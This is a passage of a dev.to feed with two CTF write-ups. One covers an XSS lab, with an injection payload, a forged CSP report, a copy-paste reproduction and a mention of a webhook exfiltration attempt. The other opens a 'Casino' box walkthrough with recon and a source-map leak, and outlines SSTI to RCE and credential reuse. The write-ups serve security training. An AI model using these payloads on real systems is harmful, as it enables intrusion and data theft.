    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;solved&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;reveal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checking that endpoint directly confirms a simple state machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php
&lt;span class="c"&gt;# {"solved":false,"flag":null}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the actual win condition is flipping &lt;code&gt;solved&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; server-side - not merely getting an &lt;code&gt;alert()&lt;/code&gt; box to pop in a browser. &lt;code&gt;robots.txt&lt;/code&gt; and the other static assets (&lt;code&gt;map.js&lt;/code&gt;, &lt;code&gt;plow.css&lt;/code&gt;) contain nothing else of interest; &lt;code&gt;map.js&lt;/code&gt; reads &lt;code&gt;CFG.zone&lt;/code&gt; and writes it back to the DOM safely via &lt;code&gt;textContent&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Confirming the Injection Point
&lt;/h2&gt;

&lt;p&gt;Testing whether &lt;code&gt;zone&lt;/code&gt; is escaped when reflected into the inline script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'https://.../?zone=test123'&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'var CFG = {.*}'&lt;/span&gt;
&lt;span class="c"&gt;# var CFG = {zone:"test123", center:[44.86,-93.42], updatedEvery:900};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trying to break out of the string with a JS-context payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-G&lt;/span&gt; &lt;span class="s1"&gt;'https://.../'&lt;/span&gt; &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'zone="};alert(1);//'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'var CFG = {.*}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;CFG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;zone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="c1"&gt;//", center:[44.86,-93.42], updatedEvery:900};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The value is interpolated into the script with &lt;strong&gt;no escaping of quotes&lt;/strong&gt;. &lt;code&gt;zone:""&lt;/code&gt; closes the string and the object literal early, &lt;code&gt;};&lt;/code&gt; ends the statement, &lt;code&gt;alert(1);&lt;/code&gt; becomes live JavaScript, and the trailing &lt;code&gt;//&lt;/code&gt; comments out the rest of the original line so the page still parses cleanly. Opening the crafted URL in a browser confirms the &lt;code&gt;alert(1)&lt;/code&gt; fires.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Reading the CSP Header
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-I&lt;/span&gt; https://.../ | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; content-security
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;content&lt;/span&gt;-&lt;span class="n"&gt;security&lt;/span&gt;-&lt;span class="n"&gt;policy&lt;/span&gt;-&lt;span class="n"&gt;report&lt;/span&gt;-&lt;span class="n"&gt;only&lt;/span&gt;: &lt;span class="n"&gt;default&lt;/span&gt;-&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="s1"&gt;'self'&lt;/span&gt;; &lt;span class="n"&gt;script&lt;/span&gt;-&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="s1"&gt;'nonce-&amp;lt;per-response&amp;gt;'&lt;/span&gt; &lt;span class="s1"&gt;'self'&lt;/span&gt;; &lt;span class="n"&gt;style&lt;/span&gt;-&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="s1"&gt;'self'&lt;/span&gt; &lt;span class="s1"&gt;'unsafe-inline'&lt;/span&gt;; &lt;span class="n"&gt;img&lt;/span&gt;-&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="s1"&gt;'self'&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;:; &lt;span class="n"&gt;report&lt;/span&gt;-&lt;span class="n"&gt;uri&lt;/span&gt; /&lt;span class="err"&gt;__&lt;/span&gt;&lt;span class="n"&gt;csp&lt;/span&gt;-&lt;span class="n"&gt;report&lt;/span&gt;.&lt;span class="n"&gt;php&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two details matter:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;It's &lt;code&gt;Content-Security-Policy-Report-Only&lt;/code&gt;, not an enforcing &lt;code&gt;Content-Security-Policy&lt;/code&gt;.&lt;/strong&gt; Report-only mode never blocks script execution - it only asks the browser to send a violation report. So this header does nothing to stop the injected &lt;code&gt;alert(1)&lt;/code&gt; from running.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Even if it were enforcing, the nonce wouldn't help here.&lt;/strong&gt; The injected code isn't a &lt;em&gt;new&lt;/em&gt; &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag - it executes inside the &lt;em&gt;same&lt;/em&gt; inline &lt;code&gt;&amp;lt;script nonce="..."&amp;gt;&lt;/code&gt; block the server already trusts, because the injection point is a value interpolated into that block's source. Nonce-based CSP stops attackers from adding new script elements; it does nothing when the attacker's code lands inside an already-nonced element via unescaped interpolation.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The policy does point violation reports at a dedicated endpoint, &lt;code&gt;/__csp-report.php&lt;/code&gt; - worth noting for later.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Dead Ends: Chasing a Classic XSS Detector
&lt;/h2&gt;

&lt;p&gt;Before finding the real solve condition, it's worth documenting what &lt;em&gt;doesn't&lt;/em&gt; work, since this challenge deliberately avoids the usual patterns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Just popping &lt;code&gt;alert(1)&lt;/code&gt; and re-checking &lt;code&gt;/__status.php&lt;/code&gt;&lt;/strong&gt; - no change. There's no headless browser on the server watching for a JS-level side effect from a single request.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exfiltrating to an external webhook&lt;/strong&gt; (&lt;code&gt;fetch("https://webhook.site/...")&lt;/code&gt; injected via the same payload) - no change either. The challenge isn't waiting for outbound interaction to a third party.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Directly POSTing to &lt;code&gt;/__status.php&lt;/code&gt;&lt;/strong&gt; (e.g. &lt;code&gt;-d 'solved=true'&lt;/code&gt;) - rejected; the endpoint doesn't accept client-supplied state.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This rules out both "headless-browser-visits-the-payload" and "trust-the-client" solve mechanisms.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. The Actual Solve Condition
&lt;/h2&gt;

&lt;p&gt;Since the CSP is report-only and &lt;code&gt;report-uri&lt;/code&gt; points at &lt;code&gt;/__csp-report.php&lt;/code&gt;, the natural hypothesis is that the backend treats an incoming, well-formed CSP violation report as proof that the injected script actually executed in a browser and triggered a (simulated) violation - i.e. the challenge's detection logic lives server-side in that report handler, not in an automated headless-browser check.&lt;/p&gt;

&lt;p&gt;Sending a crafted report that matches the shape a real browser would produce for this exact policy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'https://.../__csp-report.php'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/csp-report'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "csp-report": {
      "document-uri": "https://.../?zone=test",
      "violated-directive": "script-src",
      "original-policy": "default-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'; script-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'nonce-xxx'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'; style-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'unsafe-inline'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'; img-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;' data:; report-uri /__csp-report.php",
      "blocked-uri": "inline",
      "source-file": "https://.../?zone=test",
      "line-number": 1,
      "column-number": 1,
      "status-code": 200
    }
  }'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Server responds &lt;code&gt;204 No Content&lt;/code&gt; and sets a session cookie. Re-checking the status endpoint &lt;strong&gt;with that cookie&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt https://.../__status.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"solved"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"WEBVERSE{[REDACTED]}"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The session is now marked solved, and &lt;code&gt;poll.js&lt;/code&gt; in a real browser would reveal the on-page banner with the flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  7. Full Reproduction (Copy-Paste)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Confirm the JS-context injection (optional, for verification)&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-G&lt;/span&gt; &lt;span class="s1"&gt;'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'zone="};alert(1);//'&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'var CFG = {.*}'&lt;/span&gt;

&lt;span class="c"&gt;# 2. Submit a CSP violation report matching the page's policy, saving the session cookie&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__csp-report.php'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/csp-report'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"csp-report":{"document-uri":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","violated-directive":"script-src","original-policy":"default-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'; script-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'nonce-xxx'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'; style-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'unsafe-inline'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'; img-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;' data:; report-uri /__csp-report.php","blocked-uri":"inline","source-file":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","line-number":1,"column-number":1,"status-code":200}}'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt

&lt;span class="c"&gt;# 3. Retrieve the flag&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"solved"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"WEBVERSE{[REDACTED]}"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  8. Root Cause
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Unescaped reflection into a JS string literal.&lt;/strong&gt; The &lt;code&gt;zone&lt;/code&gt; query parameter is written directly into an inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block without JSON/JS-string encoding, allowing an attacker to break out of the string and inject arbitrary statements.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CSP deployed in report-only mode.&lt;/strong&gt; A correctly configured nonce-based &lt;code&gt;script-src&lt;/code&gt; would ordinarily stop injected &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; &lt;em&gt;tags&lt;/em&gt;, but here it wasn't even enforcing - so it provided no runtime protection at all, only telemetry.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The report endpoint trusts client-submitted reports as proof of exploitation&lt;/strong&gt;, rather than verifying server-side that a real browser executed the payload (e.g. via a headless-browser bot visiting the crafted URL). This makes the "detection" itself forgeable: any client that can construct a plausible CSP report body can mark the challenge solved without ever running the injected JavaScript.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  9. Fix Recommendations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never interpolate user input into inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; source via string concatenation. Encode values with &lt;code&gt;JSON.stringify()&lt;/code&gt; (escaping &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;, and quotes) before embedding them, or better, pass data via a &lt;code&gt;data-*&lt;/code&gt; attribute and read it with &lt;code&gt;textContent&lt;/code&gt;/&lt;code&gt;getAttribute&lt;/code&gt;, as &lt;code&gt;map.js&lt;/code&gt; already does safely elsewhere on this page.&lt;/li&gt;
&lt;li&gt;Enforce the CSP (&lt;code&gt;Content-Security-Policy&lt;/code&gt;, not &lt;code&gt;-Report-Only&lt;/code&gt;) so that even if an injection point exists, arbitrary inline script still can't execute.&lt;/li&gt;
&lt;li&gt;If using CSP reports as a solve-detection mechanism for a training/CTF environment, validate them against server-side state (e.g. correlate &lt;code&gt;document-uri&lt;/code&gt;/&lt;code&gt;blocked-uri&lt;/code&gt; with a nonce or challenge token that was actually served and can't be guessed or replayed), rather than accepting any well-formed report body at face value.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>webverselabs</category>
    </item>
    <item>
      <title>HackSmarter - Casino Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 25 Aug 2026 13:04:45 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hacksmarter-casino-writeup-2e7h</link>
      <guid>https://dev.to/exploitnotes/hacksmarter-casino-writeup-2e7h</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Casino is a Flask-based "Guest WiFi &amp;amp; Portal" resort captive portal. A leaked JS source-map exposes an unauthenticated internal API endpoint (&lt;code&gt;/api/v1/rooms/status&lt;/code&gt;) that dumps the entire guest database, giving away valid room-number/last-name pairs used by the login form. Logging in as a leaked guest exposes a &lt;code&gt;display_name&lt;/code&gt; field on &lt;code&gt;/profile&lt;/code&gt; that is vulnerable to server-side template injection (Jinja2 SSTI), leading to RCE as &lt;code&gt;www-data&lt;/code&gt; inside the app's Docker container. From there, a readable &lt;code&gt;.bash_history&lt;/code&gt; in another user's home directory leaks a plaintext MySQL password that gets reused as a local &lt;code&gt;su&lt;/code&gt; password, and group membership in &lt;code&gt;adm&lt;/code&gt; grants read access to a provisioning log containing the root sync credential, which fully compromises the host.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Full TCP scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Werkzeug httpd 3.1.8 (Python 3.10.18)
|_http-server-header: Werkzeug/3.1.8 Python/3.10.18
| http-title: Hack Smarter World - Guest WiFi &amp;amp; Portal
|_Requested resource was /login
2222/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two SSH services on different ports and versions (Ubuntu on 22, Debian on 2222) is an early hint we're looking at a host fronting (or containing) a separate Linux environment. Port 80 is a Flask app served through Werkzeug's dev server, titled "Hack Smarter World - Guest WiFi &amp;amp; Portal".&lt;/p&gt;

&lt;p&gt;Content discovery:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dirsearch &lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;MACHINE-IP&amp;gt;/ &lt;span class="nt"&gt;-x&lt;/span&gt; 403,404
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[07:42:29] 200 -    5KB - /login
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;whatweb http://&amp;lt;MACHINE-IP&amp;gt;/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://&amp;lt;MACHINE-IP&amp;gt;/ [302 Found] ... RedirectLocation[/login] ... Werkzeug[3.1.8]
http://&amp;lt;MACHINE-IP&amp;gt;/login [200 OK] Bootstrap, HTML5, HTTPServer[Werkzeug/3.1.8 Python/3.10.18] ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Everything unauthenticated redirects to &lt;code&gt;/login&lt;/code&gt;, which is a captive-portal-style form asking for a room number and a guest's last name.&lt;/p&gt;

&lt;h2&gt;
  
  
  Source map leak → unauthenticated API disclosure
&lt;/h2&gt;

&lt;p&gt;The login page loads a minified script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE-IP&amp;gt;/static/js/app.min.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;initPortal&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hack Smarter World WiFi Gateway Active&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);}&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;DOMContentLoaded&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;initPortal&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;//# sourceMappingURL=app.min.js.map&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The sourcemap reference is still deployed and readable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE-IP&amp;gt;/static/js/app.min.js.map
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"file"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"app.min.js"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"src/api/roomVerification.js"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sourcesContent"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"// Front-Desk Kiosk API verification helper&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;async function checkRoomStatus(roomNum) {&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt; const res = await fetch('/api/v1/rooms/status?status=occupied');&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt; return await res.json();&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;}"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
